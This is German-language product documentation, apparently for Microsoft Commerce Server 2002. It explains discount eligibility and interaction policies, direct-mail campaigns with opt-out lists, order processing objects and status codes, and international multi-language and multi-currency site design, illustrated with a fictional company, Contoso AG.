Preisnachlassberechtigungsanforderungen geben an, wer einen Preisnachlass in Anspruch nehmen kann. Berechtigungsanforderungen werden als Zielausdrücke formuliert. Wenn der Zielausdruck zu "Wahr" ausgewertet wird, wird der Preisnachlass angewendet. Wenn beispielsweise Lieblingssport = Bergsteigen gilt, wird der Preisnachlass angewendet.

Berechtigungsanforderungen werden mithilfe von Kontexteigenschaften wie Benutzerobjekt, Zielgruppenadressierungs-Kontext und Bewertungsspezifikationen (aktuelles Datum, aktuelle Uhrzeit) erstellt. Beim Erstellen eines Zielausdrucks können Sie die Zielgruppe festlegen, denen der Preisnachlass gewährt wird. So können Sie z. B. den Musikliebhabern unter Ihren Kunden einen 20-prozentigen Preisnachlass auf eine Jazz-CD gewähren.

Sie können auch anhand von Zielgruppen die anspruchsberechtigten Benutzer für einen Preisnachlass festlegen.


Mehrfache Preisnachlässe

Mehrfache Preisnachlässe werden mit den Interaktionsrichtlinien für Preisnachlässe erstellt. Mit den Interaktionsrichtlinien für Preisnachlässe wird festgelegt, ob auf einen Artikel mehrere Preisnachlässe oder mehrere Auszeichnungen angewendet werden können. Commerce Server unterstützt vier verschiedene Interaktionsrichtlinien für Preisnachlässe.

  • Mögliche Verwendung der Bedingungen eines Preisnachlasses für die Bedingungen eines anderen Preisnachlasses. Weist Commerce Server an, dass die für ein bestimmtes Angebot verwendeten Preisnachlassbedingungen für ein anderes Angebot wieder verwendet werden können.
  • Mögliche Verwendung der Bedingungen eines Preisnachlasses für die Bedingungen einer Auszeichnung. Weist Commerce Server an, dass für einen Artikel, der als Bedingung für einen Preisnachlass verwendet wurde, ein weiteres Angebot erstellt werden kann.
  • Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen eines Preisnachlasses. Weist Commerce Server an, dass ein Artikel, auf dessen Grundlage eine Auszeichnung gewährt wurde, für weitere Angebote verwendet werden kann.
  • Mögliche Verwendung der Bedingungen einer Auszeichnung für die Bedingungen einer anderen Auszeichnung: Weist Commerce Server an, dass ein Artikel, auf dessen Grundlage eine Auszeichnung gewährt wurde, Gegenstand weiterer Angebote sein kann (beispielsweise kann ein Artikel mehrere Auszeichnungen erhalten).

Die vier Interaktionsrichtlinien für Preisnachlässe können alle gleichzeitig ausgewählt werden. Durch die Kombination dieser Richtlinien können Sie genau steuern, wie Preisnachlässe angewendet werden.


Verarbeiten von Preisnachlässen

Preisnachlässe werden durch die Inhaltsauswahlpipeline für Preisnachlässe und die Bestellpreisnachlass-Pipelinekomponente verarbeitet. Mithilfe der CSF-Pipeline für Preisnachlässe können Sie Benutzern den Preisnachlass anzeigen, der für sie am besten geeignet ist. Über die Bestellpreisnachlass-Komponente der Warenkorbpipeline werden Preisnachlässe auf den Warenkorb angewendet.

  • Die Inhaltsauswahlpipeline für Preisnachlässe überprüft Anfangs- und Beendigungsdaten der Preisnachlässe und passt dann die entsprechenden Ergebnisse in der Liste der möglichen Preisnachlässe an. So wird sichergestellt, dass die Preisnachlässe, die für den aktuellen Benutzer am relevantesten sind, die höchste Priorität erhalten.
  • Die Bestellpreisnachlass-Pipelinekomponente wendet zunächst die Anforderungen auf die verfügbaren Preisnachlässe an. Abhängig vom jeweiligen Preisnachlass werden zur Auswertung der Zielausdrücke Benutzer- bzw. Kontextprofilinformationen eingesetzt. Außerdem wird die Liste der Kampagnenartikel-IDs für jeden angeklickten Artikel überprüft, falls ein Preisnachlass einen Klick erfordert. Anschließend verarbeitet die Bestellpreisnachlass-Pipeline die einzelnen Artikel, wobei die Bedingungen und Auszeichnungen getestet werden. Preisnachlässe werden von der höchsten zur niedrigsten Priorität angewendet. Falls zwei Preisnachlässe dieselbe Priorität haben, bestimmen andere Eigenschaften als die Priorität die Reihenfolge für die Anwendung der Preisnachlässe.


Direktsendungskonzepte

Direktsendungen werden erstellt, um Anzeigen per E-Mail zielgerichtet an eine Benutzergruppe zu senden. Das Ziel einer solchen Sendung besteht darin, eine möglichst hohe Zahl von Antworten auf die E-Mails zu erhalten. Sie können personalisierte E-Mail-Nachrichten von einer Webseite bzw. nicht personalisierte Nachrichten aus einer nichtformatierten Textdatei senden. In den Direktsendungsnachrichten, die Sie erstellen, können Anlagen wie z. B. Bilder, Preisnachlässe oder URLs enthalten sein. Der Direktsendungsdienst ist für den Massenversand personalisierter E-Mail-Nachrichten an Millionen von Benutzern ausgelegt.

Dieser Abschnitt beinhaltet folgende Themen:

  • Übersicht über das Erstellen einer Direktsendung
  • Abonnementkündigungslisten
  • Verarbeiten von Direktsendungen


Übersicht über das Erstellen einer Direktsendung

Direktsendungen werden erstellt, um Anzeigen per E-Mail zielgerichtet an eine Benutzergruppe zu senden. Das Ziel einer solchen Sendung besteht darin, eine möglichst hohe Zahl von Antworten auf die E-Mails zu erhalten. Sie können personalisierte E-Mail-Nachrichten von einer Webseite bzw. nicht personalisierte Nachrichten aus einer nichtformatierten Textdatei senden. In den Direktsendungsnachrichten, die Sie erstellen, können Anlagen wie z. B. Bilder, Preisnachlässe oder URLs enthalten sein. Der Direktsendungsdienst ist für den Massenversand personalisierter E-Mail-Nachrichten an Millionen von Benutzern ausgelegt.

Die Einrichtung einer Direktsendung erfolgt mithilfe des Kampagnen-Manager-Moduls von Business Desk. Direktsendungen werden vom Direct Mailer-Dienst verarbeitet. Dies ist ein leistungsfähiges Modul, mit dem sehr schnell eine große Anzahl von E-Mails versendet werden kann.

Zum Erstellen einer Direktsendung führen Sie folgende Schritte aus:

  • Erstellen der Nachricht. Zur Erstellung personalisierter E-Mail-Nachrichten muss Ihr Siteentwickler zuerst Active Server Pages (ASP) mit dem personalisierten Text erstellen und diese zum Webserver hinzufügen. Vom Siteentwickler erhalten Sie dann den URL der ASP-Seiten. Zum Erstellen einer nicht personalisierten Nachricht können Sie einfach Text in eine nichtformatierte Datei eingeben, z. B. mithilfe von Editor.
  • Erstellen und Planen der Direktsendungskampagne. Im Kampagnen-Manager-Modul bestimmen Sie den Kampagnennamen, den Namen der Empfängerliste, Anfangszeit und -datum des Kampagnenartikels sowie den URL (für personalisierte Nachrichten) bzw. die statische Datei für den Nachrichtentext.

Siehe auch

Adressenlisten

Importieren einer Adressenliste

Abonnementkündigungslisten

Verarbeiten von Direktsendungen


Abonnementkündigungslisten

Direct Mailer unterstützt eine Funktion zur Abonnementkündigung. Bei Direktsendungsaufträgen, die als Teil eines Kampagnenartikels ausgeführt werden, können einzelne Empfänger ihr Abonnement des Direktsendungs-Kampagnenartikels kündigen. Dies geschieht durch Verwendung einer ASP-Seite, über die sich Benutzer eigenständig in eine Abonnementkündigungsliste eintragen können.

Die ASP-Abonnementkündigungsliste wird im Zusammenhang mit der ASP-Seite "ServiceReminder" verwendet, mit deren Hilfe Direct Mailer-Inhalte erstellt werden können. Sofern diese Seite implementiert ist, sendet die ASP-Datei personalisierte E-Mail-Nachrichten, in denen Ihre Kunden daran erinnert werden, sich in Ihrer Website neue Produkte anzuschauen. Die ASP-Datei enthält ferner einen Link, über den sich die Kunden aus Ihrer Adressenliste entfernen können.

Auf der ASP-Seite für die Direct Mailer-Aufträge kann ein Siteentwickler Links zu einer opt-out.asp-Seite anbieten. Auf dieser Seite können Empfänger über den entsprechenden Link ihr Abonnement für alle Site-Adressenlisten bzw. für den Direktsendungs-Kampagnenartikel kündigen. Wenn ein Direct Mailer-Auftrag als Teil eines Kampagnenartikels ausgeführt wird, prüft Direct Mailer, ob eine Abonnementkündigungsliste auf Siteebene oder auf Kampagnenebene vorhanden ist. Falls eine dieser Listen vorhanden ist, werden ihre Einträge von der ursprünglichen Adressenliste abgezogen. Die so erhaltene Liste fungiert dann als neue Adressenliste.

Siehe auch

Übersicht über das Erstellen einer Direktsendung

Verarbeiten von Direktsendungen


Verarbeiten von Direktsendungen

Direct Mailer bietet eine Befehlszeilenschnittstelle, über die Sie Direct Mailer-Aufträge erstellen, ausführen und überwachen sowie Start- und Wiederherstellungstasks für Aufträge durchführen können. Zum Konfigurieren von Eigenschaften für Direct Mailer verwenden Sie Commerce Server-Manager.

Direct Mailer führt die folgenden Tasks aus:

  • Verwalten der Direktsendungsaufträge
  • Erstellen personalisierter und nicht personalisierter Nachrichtentexte
  • Formatieren von E-Mail-Nachrichtenköpfen
  • Festlegen des Codepagewertes (Sprache) und Konvertieren des Nachrichtentextes in den richtigen Nachrichtentyp: MHTML (MIME Encapsulation of Aggregate HTML Documents), MIME (Multipurpose Internet Mail Extensions) oder Text
  • Versenden der E-Mail-Nachrichten an die Empfänger

Die Direct Mailer-Pipeline wird zum Verarbeiten von Empfängerlisten verwendet. Sie haben die Möglichkeit, neue Komponenten zur Pipeline hinzuzufügen, die Komponenten in branchenspezifische Systeme zu integrieren oder sie durch Komponenten von Drittanbietern zu ersetzen.

Die folgende Abbildung zeigt, wie Sie bei Verwendung von Commerce Server 2002 Enterprise Edition Informationen über die Benutzer erfassen können, die Ihre Site besuchen. Ferner wird verdeutlicht, wie Sie diese Daten ins Data Warehouse importieren, Berichte zur Kennzeichnung der Benutzer anlegen, für die eine Direktsendungskampagne ausgeführt werden soll, und diese Daten anschließend in den Listen-Manager exportieren. Beim Einrichten der Direktsendungskampagne wird der Direktsendungsauftrag durch den Direct Mailer-Dienst ausgeführt.

Verarbeitung von Direktsendungen

Siehe auch

Business Desk-Kampagnen

Ausführen von Direct Mailer

Working with Pipelines (englisches Thema)

Extending the Content Selection Framework (englisches Thema)

Konzepte für Zielgruppenadressierung und Personalisierung


Bestellverwaltungskonzepte

Wenn ein Benutzer in Ihrer Website ein Produkt kauft, legt Commerce Server eine Bestellung an. Diese Bestellung wird durch die Order Processing Pipeline (OPP) von Commerce Server verarbeitet. Die Bearbeitung der Bestellungen ist in Phasen unterteilt, die jeweils eine Arbeitskategorie beschreiben. Eine typische OPP kann beispielsweise aus einer Kundeninformationsphase, einer Zahlungsphase und einer Versandphase bestehen. So werden z. B. die Produktbeschreibung und die Lieferadressen des Benutzers aus der Commerce Server-Datenbank abgerufen, worauf die Berechnung der Steuer erfolgt. Die Bestellinformationen und der Gesamtpreis werden in den Transaktionstabellen in der Commerce Server-Datenbank gespeichert.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verarbeiten von Bestellungen
  • OrderGroup-, OrderForm- und OrderGroupManager-Objekte
  • Bestellstatuscodes


Verarbeiten von Bestellungen

Die folgende Abbildung zeigt die Komponenten der Order Processing Pipeline und das Zusammenspiel dieser Komponenten, wenn ein Benutzer dem Warenkorb einen Artikel hinzufügt, die Bestellung abschließt, einen Preisnachlass erhält und die Bestellung in den Transaktionstabellen in der Commerce Server-Datenbank (oder Bestellungsdatenbank in einer verteilten Umgebung) speichert.

Komponenten der Order Processing Pipeline

Wenn für Ihre Site BizTalk Server verwendet wird, kann die Bestellung zur Ausführung direkt an den Hersteller übermittelt werden. Genauere Informationen zur Verwendung von BizTalk Server mit Commerce Server finden Sie unter "Integrating with BizTalk Server" (englisches Thema) in der Commerce Server 2002-Hilfe.

Mit dem Commerce Server-Pipeline-Editor können Sie die Order Processing Pipeline an die Erfordernisse Ihrer Site anpassen. Sie können beispielsweise Komponenten von Drittanbietern hinzufügen, mit deren Hilfe Kreditkarten überprüft werden können.


OrderGroup-, OrderForm- und OrderGroupManager-Objekte

Das OrderGroup-Objekt wird in Commerce Server 2002 zum Speichern, Abrufen und Berechnen von Warenkorb- und Bestellinformationen einer Site verwendet. Das OrderGroupManager-Objekt stellt zusammen mit dem OrderGroup-Objekt Such- und andere Verwaltungsfunktionen für Bestellungen zur Verfügung.

Das OrderForm-Objekt ist ein Wörterbuch, das einzelne Einträge sowie Dictionary- und SimpleList-Objekte enthält. Durch die Struktur ist es möglich, dem Benutzer oder der Order Processing Pipeline (OPP) eine Übersicht über alle Teile einer oder mehrerer Einkaufssitzungen detailliert anzuzeigen. Diese Übersicht enthält einkaufsspezifische Daten, wie Name, Adresse, Kreditkarteninformationen und Produktangaben.

Im folgenden Diagramm wird die Beziehung zwischen dem OrderGroup-Objekt und dem OrderForm-Objekt sowie die Beziehung dieser beiden Objekte zu den Wörterbüchern Addresses und LineItem dargestellt.

OrderGroup-Objekte beschreiben Bestellinformationen. In ihnen werden Bestellformulare gruppenweise zusammengefasst und aggregierte Vorgänge und Endsummen zur Verfügung gestellt. OrderGroup-Objekte sind mit mindestens einem OrderForm-Objekt und mindestens einem Address-Wörterbuch verknüpft.

OrderForm-Objekte enthalten Kopfzeileninformationen für Bestellungen, z. B. die Versandkosten und Steuern sowie andere zur Verarbeitung der Bestellung erforderliche Daten. OrderForm-Objekte verweisen auf mindestens ein LineItem-Wörterbuch, in dem die zu kaufenden Produkte beschrieben werden. Im Addresses-Wörterbuch sind Informationen zur Rechnungs- und Versandadresse für Bestellungen enthalten. Die einzelnen OrderForm-Objekte enthalten i. d. R. einen billing_address_id-Wert, während zu den Einzelposten jeweils ein shipping_address_id-Wert angegeben ist.

In der folgenden Abbildung werden die Komponenten des OrderForm-Objekts dargestellt.

Das OrderGroup-Objekt enthält häufig nur ein OrderForm-Objekt. Wenn Sie den Benutzern jedoch die Artikel unterschiedlicher Lieferanten zum Kauf anbieten möchten, können Sie mit der OrderGroup-Objektfunktion für mehrere OrderForm-Objekte Unterscheidungsmerkmale für die einzelnen Lieferanten speichern, wobei die einheitliche Einkaufsumgebung für den Benutzer erhalten bleibt.

Das OrderGroup-Objekt enthält üblicherweise die folgenden Objekte:

  • Address-Wörterbücher. In diesen Wörterbüchern sind Informationen zur Rechnungs- und Versandadresse für Bestellungen enthalten.
  • OrderForm-Objekte. Diese Objekte enthalten ein SimpleList-Objekt mit der Bezeichnung Items, in dem die Item-Wörterbücher mit den Einzelpostendaten gespeichert sind.
  • Items SimpleLists. Die Items SimpleLists enthalten die Item-Wörterbücher.
  • Item-Wörterbücher. In diesen Wörterbüchern sind die Inhalte der Einzelposten eines Bestellformulars enthalten. OrderForm-Objekte mit den zur Verarbeitung des Bestellformulars verwendeten Informationen verweisen durch die Items-Liste entweder auf kein oder auf mehrere Item-Wörterbücher.


Bestellstatuscodes

Das OrderGroup-Objekt steht für eine Einkaufseinheit und verfügt über einen bestimmten Status. Dieser Status ist unter OrderGroup.value("order_status_code") gespeichert und gibt an, ob das OrderGroup-Objekt für einen Warenkorb (1), eine gespeicherte Bestellung bzw. Vorlage (2), eine neue Bestellung (4) usw. steht.

Mithilfe der Bestellmodule können Sie in Commerce Server Business Desk neue benutzerdefinierte Statuscodes erstellen. So lassen sich beispielsweise Statuswerte wie Genehmigt, Abgebrochen usw. erstellen. Die Statuscodes für diese Werte müssen auf Zahlen gesetzt werden, die Zweierpotenzen sind (z. B. 8, 16, 32).

Die folgenden Bestellstatuscodes sind standardmäßig im Lieferumfang enthalten:

  • Der Status "Warenkorb". Dieser Status zeigt ein OrderGroup-Objekt an, das gerade zusammengestellt und vor der Weitergabe überprüft wird. Der Statuscode lautet 1.
  • Der Status "Vorlage" (Gespeicherte Bestellung). Durch diesen Status wird die Verarbeitung wiederholter Einkäufe erleichtert, z. B. wenn in einer Site für Lebensmittel jede Woche dieselben Artikel bestellt werden. Dieser Status entspricht dem Status Gespeicherte Bestellung. Der Statuscode lautet 2.
  • Der Status Neue Bestellung. Diesen Status weisen Bestellungen auf, die zur weiteren Verarbeitung übermittelt wurden (das geschieht i. d. R., indem der Benutzer auf die Schaltfläche Bestellung absenden klickt). Der Statuscode lautet 4.


Internationale Lösungskonzepte

Das Internet ist ein globaler Marktplatz. Das bedeutet, dass Ihr e-Commerce-Geschäft auch dann internationalen Charakter hat, wenn Sie zunächst nicht die Absicht haben, auf internationalem Parkett aktiv zu werden. Wenn Sie Ihrer Commerce Server 2002-Website ein globales Outfit verleihen möchten, müssen Sie zunächst entscheiden, wie Sie Ihr Unternehmen gegenüber internationalen Benutzern präsentieren möchten.

Wenn Benutzer Ihre Site besuchen, können sie nur die Zeichen eingeben, die entsprechend den Ländereinstellungen auf ihren lokalen Rechnern zulässig sind. Diese Ländereinstellungen beeinflussen nicht nur die Tastatureingaben, sondern auch die Darstellung von Sonderzeichen, wie z. B. Währungssymbolen oder Dezimaltrennzeichen. Wenn Sie beispielsweise auf einer englischen Tastatur die ;-Taste drücken und in den Ländereinstellungen die Option Englisch (USA) ausgewählt ist, wird ein Semikolon erzeugt. Wenn Sie auf demselben Computer mit englischer Tastatur die Ländereinstellung in Spanisch (Mexiko) ändern und dann die ;-Taste drücken, wird ein ñ (eñe) erzeugt.

Für internationale Benutzer müssen Sie ein System entwickeln, in dem die verschiedenen Ländereinstellungen Berücksichtigung finden. Dazu müssen Sie eine Möglichkeit finden, mit der die jeweiligen Benutzer unter Verwendung ihrer lokalen Ländereinstellungen Daten korrekt darstellen und eingeben können. Auch das Produktkatalogsystem ist in Commerce Server 2002 so konzipiert, dass innerhalb eines Katalogs mehrere Sprachen unterstützt werden. Weitere Informationen über die verschiedenen Methoden bei der Entwicklung internationaler Lösungen finden Sie unter Developing an International Site (englisches Thema).

Wie Sie eine Site für internationale Benutzer gestalten, wird in diesem Abschnitt an einem fiktiven Szenario erläutert. Anhand dieses Szenarien werden zahlreiche Grundprinzipien verdeutlicht, die bei der Entwicklung einer internationalen Lösung eine Rolle spielen. Darüber hinaus sind aber auch andere Ansätze denkbar.

Dieser Abschnitt beinhaltet folgende Themen:

  • Übersicht über Features für internationale Lösungen. Enthält einen Überblick über die Features, die bei der Entwicklung einer internationalen Lösung verfügbar sind.
  • Tasks bei der Entwicklung und Verwaltung internationaler Lösungen. Enthält einen Überblick über die Tasks, die Sie beim Erstellen Ihrer internationalen Lösung ausführen.
  • Szenario für eine internationale Lösung. Beschreibt ein fiktives Business-Szenario für die Erstellung einer auf internationale Benutzer ausgerichteten Site.
  • Internationale Transaktionen. Beschreibt ein fiktives Business-Szenario, bei dem durch die Implementierung zweier Währungsumrechnungsarten Transaktionen von mindestens zwei Währungen ermöglicht werden.
  • Internationale Kataloge. Beschreibt ein fiktives Business-Szenario, bei dem Features für mehrere Sprachen und Währungen zur Bereitstellung entsprechender Kataloginhalte implementiert werden.
  • Internationale Kampagnen. Beschreibt ein fiktives Business-Szenario, bei dem das Zielgruppenadressierungssystem von Commerce Server in zwei Bereiche unterteilt wird, um Kampagnendaten nach länderspezifischen Kriterien in angemessener Form anzuzeigen.
  • Internationaler Versand. Beschreibt ein fiktives Business-Szenario, bei dem die Bereitstellung von Versanddaten in einem bestimmten Gebietsschema implementiert wird.


Übersicht über Features für internationale Lösungen

Schritte zum Erstellen einer internationalen Lösung mit Commerce Server 2002:

  • Ändern des bestehenden Sitecodes.
  • Erstellen einer neuen Site, die grundsätzlich für den internationalen Einsatz konzipiert ist.
  • Verwendung der internationalen Retail-Site als Startpunkt.
  • Konfigurieren von Siteressourcen und Einrichten von Geschäftsprozessen.

Die Sitelets im Commerce Server 2002 SDK und die internationale Lösungssite enthalten Beispiele und Anleitungen zur Unterstützung Ihrer Arbeit.

In den Sitelets des SDK finden Sie Beispiele dafür, wie Sie den Sitecode bearbeiten können. Informationen zu den Commerce Server 2002-Sitelets finden Sie unter ASP.NET Samples (englisches Thema).

Die internationale Retail-Site kann als Ausgangspunkt für neue internationale Implementierungen verwendet werden. Die Arbeit auf dieser Site zu beginnen, ist die schnellste Variante zur Erstellung einer funktionstüchtigen internationalen Site, die mit allen Funktionen ausgestattet ist.

In der folgenden Tabelle sind verschiedene Aspekte zusammengefasst, die bei der Entwicklung einer internationalen Lösung eine Rolle spielen. Die Tabelle ist nach Commerce Server-Systemen sortiert und beschreibt die verschiedenen Features, die durch internationale Probleme beeinflusst werden.

System | Feature | Kurzbeschreibung
Produktkatalogsystem | Mehrsprachige Kataloge | Um einen Produktkatalog in mehreren Sprachen gemeinsam nutzen zu können, fügen Sie für jede in der Site unterstützte Sprache mehrsprachige Eigenschaften hinzu. So können Sie beispielsweise eine mehrsprachige Eigenschaft für die Produktbeschreibung definieren. Das Feld Angezeigter Name würde für diese Eigenschaft in deutscher Sprache das Wort "Beschreibung" und in englischer Sprache das Wort "Description" (was dem deutschen Wort "Beschreibung" entspricht) enthalten.
Kataloge in mehreren Währungen Sie können pro Katalog eine Basiswährung definieren. Wenn für Produkte Preise in einer weiteren Währung angegeben werden sollen, müssen Sie eine Preisregel festlegen oder zusätzliche Währungseigenschaften hinzufügen.

Hinweis

  • Der für Währungen verwendete Datentyp MONEY unterstützt nur vier Dezimalstellen.
Profilsystem | Sitebegriffe | Für jede unterstützte Sprache müssen eindeutige Sitebegriffe erstellt werden. Wenn Sie beispielsweise als englischen Sitebegriff "Favorite Sport" erstellen, müssen Sie, falls in Ihrer Site auch die deutsche Sprache unterstützt wird, den Sitebegriff "Lieblingssport" definieren. Diese Informationen finden Sie im Commerce Server 2000 Resource Kit in der Beispielimplementierung einer internationalen Site mit der Bezeichnung "Sweet Forgiveness". Die Dokumentation ist online unter folgender Adresse verfügbar: http://go.microsoft.com/fwlink/?LinkId=5595.
Profileigenschaften Sie können mehrsprachige Profileigenschaften erstellen, indem Sie Eigenschaftsdefinitionen benutzerdefinierte Attribute hinzufügen. Wenn Sie für Ihr deutsches Adressprofil eine Eigenschaft "Ort" definiert haben, können Sie ein benutzerdefiniertes Attribut mit folgenden Werten erstellen:
  • Name: Ort_De
  • Angezeigter Name: Stadt (Ort in Deutsch)
  • Beschreibung: Ihre Stadt (Ihr Ort in Deutsch)
  • Wert: Berlin
  • Das Profilsystem unterstützt Unicode für den Datenspeicher.
Geschäftsanalyse Data Warehouse Sie können ein Commerce Server Data Warehouse erstellen, in das Daten aus mehreren sprachspezifischen Anwendungen importiert werden. So besteht beispielsweise die Möglichkeit, Transaktionsdaten aus einer französischen und aus einer japanischen Anwendung in ein und dasselbe Commerce Server Data Warehouse zu importieren.

Wenn Sie eine einzelne Site erstellen möchten, in der internationale Benutzer mit mehreren Codepage-Einstellungen (z. B. Westeuropäisch und Japanisch) unterstützt werden, müssen Sie die Codepage Ihrer Protokolldatei und die URL-Codierungseinstellungen auf UTF-8 setzen. Windows 2000 unterstützt ANSI-Codepages nur beim Anmelden. Für UTF–8 ist Windows .NET Server erforderlich. Weitere Informationen finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6728.

Hinweis

  • Wenn Sie diesen Wert auf UTF-8 setzen, kann es in Browsern, die UTF-8 nicht unterstützen, zu unerwarteten Fehlern kommen.
Analyse Sie können Berichte erstellen, in denen Daten in mehreren Sprachen und Währungen zusammengefasst werden. Wenn Sie beispielsweise eine Site mit mehreren sprachspezifischen Anwendungen haben, können Sie den im Lieferumfang von Commerce Server enthaltenen Bericht Hauptsächlich angeforderte Seiten erstellen, in dem die Sprachgruppen übergreifend am häufigsten angeforderten Seiten zusammengefasst werden. Die Darstellung der Daten im Bericht richtet sich nach den Spracheinstellungen des jeweiligen Browsers.

Hinweis

  • Im Lieferumfang von Commerce Server sind keine vordefinierten Berichte enthalten, in denen Daten nach sprachspezifischen Gesichtspunkten zusammengefasst werden.
Zielgruppenadressierung | Anzeigen | Sie müssen für jede Sprache separate Anzeigeninhalte erstellen.
Preisnachlässe | Sie müssen für jede Sprache separate Preisnachlässe erstellen.
Direktsendungen | Sie müssen für jede Sprache separate Direktsendungskampagnen erstellen.
Geschäftsprozesspipelines Bestellabwicklung Da sich die Wechselkurse im Laufe der Zeit ändern, entspricht die Preisangabe für die in der Site angezeigten Einzelposten ggf. nicht dem Betrag, der dem Benutzer in Rechnung gestellt wird. Aus diesem Grund sollten die Preise in der Site als ungefähre Werte gekennzeichnet sein.

Commerce Server 2002 geht davon aus, dass sich die Preise für die Artikel im Warenkorb auf eine einheitliche Währung beziehen.

Die Preisnachlassfunktion von Commerce Server ist nicht für die Unterstützung mehrerer Währungen konzipiert.

Wenn Sie Anzeigen und Preisnachlässe in mehreren Sprachen verwenden möchten, müssen Sie für jede Sprache eine separate Anzeige/einen separaten Preisnachlass erstellen.

Siehe auch

Tasks bei der Entwicklung und Verwaltung internationaler Lösungen

Internationale Transaktionen

Internationale Kataloge

Internationale Kampagnen

Internationaler Versand


Tasks bei der Entwicklung und Verwaltung internationaler Lösungen

In der folgenden Tabelle sind die Entwicklungs- und Verwaltungstasks zusammengefasst, die Sie bei der Erstellung und Aktualisierung Ihrer internationalen Lösung ausführen müssen. Über die bereitgestellten Links können Sie weiterführende Informationen zu diesen Tasks aufrufen.

Thema | Abschnitt
Erstellen eines internationalen Katalogs | ASP-Based Catalog Sitelet, Code to filter catalog data for a particular language (englische Themen)
Unterstützung von Transaktionen in mehreren Währungen | ASP-Based Order Sitelet, Code to set the language properties for a user profile (englische Themen)
Anzeige internationaler Versandarten | ASP-Based Order Sitelet, Code to display shipping methods for a particular language (englische Themen)
Anzeige länderspezifischer Anzeigen und Preisnachlassinformationen | ASP-Based Discount Sitelet (englisches Thema)
Einrichten der Konfigurationseinstellungen für alternative Sprachen und Währungen für Ihre Site | Konfigurieren der Anwendungsstandardkonfigurations-Ressource
Erstellen der Geschäftsprozesse zum Erstellen länderspezifischer Kataloge | Erstellen eines mehrsprachigen Katalogs, Preisberechnung für Produkte in mehreren Währungen
Erstellen der Geschäftsprozesse für internationale Versandarten | Versandarten

Darüber hinaus steht Ihnen mit der internationalen Retail-Site eine funktionstüchtige integrierte Site zur Verfügung, die bei der Erstellung einer neuen internationalen Site als Ausgangspunkt verwendet werden kann.

Siehe auch

Übersicht über Features für internationale Lösungen

Szenario für eine internationale Lösung

Internationale Transaktionen

Internationale Kataloge

Internationale Kampagnen

Internationaler Versand


Szenario für eine internationale Lösung

Die Contoso AG in den in diesem Abschnitt verwendeten fiktiven Szenarien ist ein großes internationales Handelsunternehmen. Das Unternehmen ist sowohl im Einzelhandel als auch im Großhandel tätig und hat für beide Geschäftsfelder webbasierte Benutzeroberflächen entwickelt. Die Adressen der beiden Websites lauten www.contosoeinzelhandel.msn.ch und www.contosogrosshandel.msn.ch.

Die Contoso AG musste eine zentrale Website erstellen, die von allen Einzelhandelskunden ungeachtet ihrer Sprach- und Währungseinstellungen durchsucht werden kann. Das Unternehmen entschied sich für die Bereitstellung von Inhalten in fünf Sprachen (Englisch, Deutsch, Französisch, Spanisch und Japanisch). Zum Erstellen einer Site für alle internationalen Benutzer wurden seitens der Contoso AG unter anderem die folgenden Schritte ausgeführt:

  • Erstellen eines Katalogs, in dem für alle Produkte Eigenschaften für mehrere Sprachen und Währungen enthalten sind. Einrichten eines Lokalisierungsprozesses zum Aktualisieren dieser Eigenschaften.
  • Erstellen individueller Preisnachlassmeldungen, Anzeigeninhalte und Direktsendungskampagnen für die fünf Sprachen.
  • Erstellen von Versandarten für die fünf Sprachen.
  • Ermitteln, ob der Benutzer einen Browser mit UTF-8-Unterstützung verwendet (durch Hinzufügen von Code zur Seite "default.asp"). Da die Contoso AG bei ihren Benutzern die Verwendung eines Browsers mit UTF-8-Unterstützung eigentlich voraussetzt, wird ein Benutzer ohne UTF-8-fähigen Browser automatisch zu einer Seite geleitet, von der ein Browser mit UTF-8-Unterstützung gedownloadet werden kann.
  • Hinzufügen von Code zur Site, um aus dem Benutzerprofil die aktuellen Sprach- und Währungseinstellungen abzurufen.
  • Hinzufügen von Text zu einer XML-Datei für jede der fünf Sprachen. Einfügen von Sitecode zum Abrufen von Text in der Sprache, die der Benutzerprofileigenschaft für die Sprach- und Währungseinstellungen entspricht.

Siehe auch

Internationale Transaktionen

Internationale Kataloge

Internationale Kampagnen

Internationaler Versand


Internationale Transaktionen

Commerce Server 2002 bietet umfassende Unterstützung für die Verarbeitung von Transaktionen, die eine Umrechnung von Währungen erfordern. Insbesondere unterstützt Commerce Server die folgenden zwei Umrechnungsarten:

  • Kassakursumrechnungen
  • Umrechnungen mit festem Umrechnungssatz

Die folgenden fiktiven Business-Szenarien bieten einige Hintergrundinformationen dazu, wie durch die Implementierung dieser beiden Währungsumrechnungsarten Transaktionen von mindestens zwei Währungen ermöglicht werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Business-Szenarien für die Unterstützung internationaler Transaktionen


Business-Szenarien für die Unterstützung internationaler Transaktionen

Für E-Commerce-Unternehmen ist die Unterstützung mehrerer Währungen bei Transaktionen ein Feature, dem eine immer grundlegendere Bedeutung zukommt. Mögliche Bestandteile des Geschäftsprozesses sind bei Business-To-Business (B2B)-Transaktionen eine Käuferorganisation, die ihre Geschäfte in einer Vielzahl von Transaktionswährungen abwickelt, ein Lieferant, der mehrere Transaktionswährungen verwendet, und Einzelhandelstransaktionen, in denen der Käufer seine Geschäfte in nur einer Währung abwickelt, während der Lieferant mehrere Währungsformate einsetzen kann.

Folgende Arten von Transaktionen mit mehreren Währungen können verwendet werden:

  • Lieferantenkette/B2B-Austausch unter Verwendung der für die einzelnen Währungen ausgehandelten Umrechnungskurse
  • Lieferantenkette/B2B-Austausch unter Verwendung der amtlichen Devisenkurse für die einzelnen Währungen
  • Lieferant/B2C (Business-To-Consumer) unter Verwendung des amtlichen Devisenkurses für eine einzelne Währung

In den folgenden fiktiven Szenarien hat Contoso AG ihren Hauptsitz in der Schweiz und verwaltet all ihre Finanzkonten in Schweizer Franken. Das Unternehmen arbeitet mit Lieferanten zusammen, die nicht in Schweizer Franken rechnen, und versorgt zudem Einzelhandelskunden, die in der Contoso-Website in verschiedenen Währungen einkaufen. Für jede dieser internationalen Transaktionsarten (Lieferant und Einzelhandelskunde) gelten individuelle Anforderungen. So können Einzelhandelskunden beispielsweise bei Contoso nur mit Kreditkarte einkaufen. Der Währungskurs für diese Benutzer richtet sich nach dem Tag, an dem das ausstellende Kreditinstitut die Transaktion umrechnet. In diesem Fall redet man von einer Kassakursumrechnung.

